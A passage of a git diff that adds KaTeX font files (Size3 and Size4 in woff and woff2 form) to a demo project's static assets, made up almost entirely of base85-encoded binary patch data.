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 CPy?p` literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Size3-Regular.woff b/demo/static/dist/assets/KaTeX_Size3-Regular.woff new file mode 100644 index 0000000000000000000000000000000000000000..e6e9b658dcf1cd031ac82b6b8f312444c55d4fc0 GIT binary patch literal 4420 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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Size4-Regular.woff b/demo/static/dist/assets/KaTeX_Size4-Regular.woff new file mode 100644 index 0000000000000000000000000000000000000000..e1ec5457664f438ce5a1cc6dd8409bf60ca7804b GIT binary patch literal 5980 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 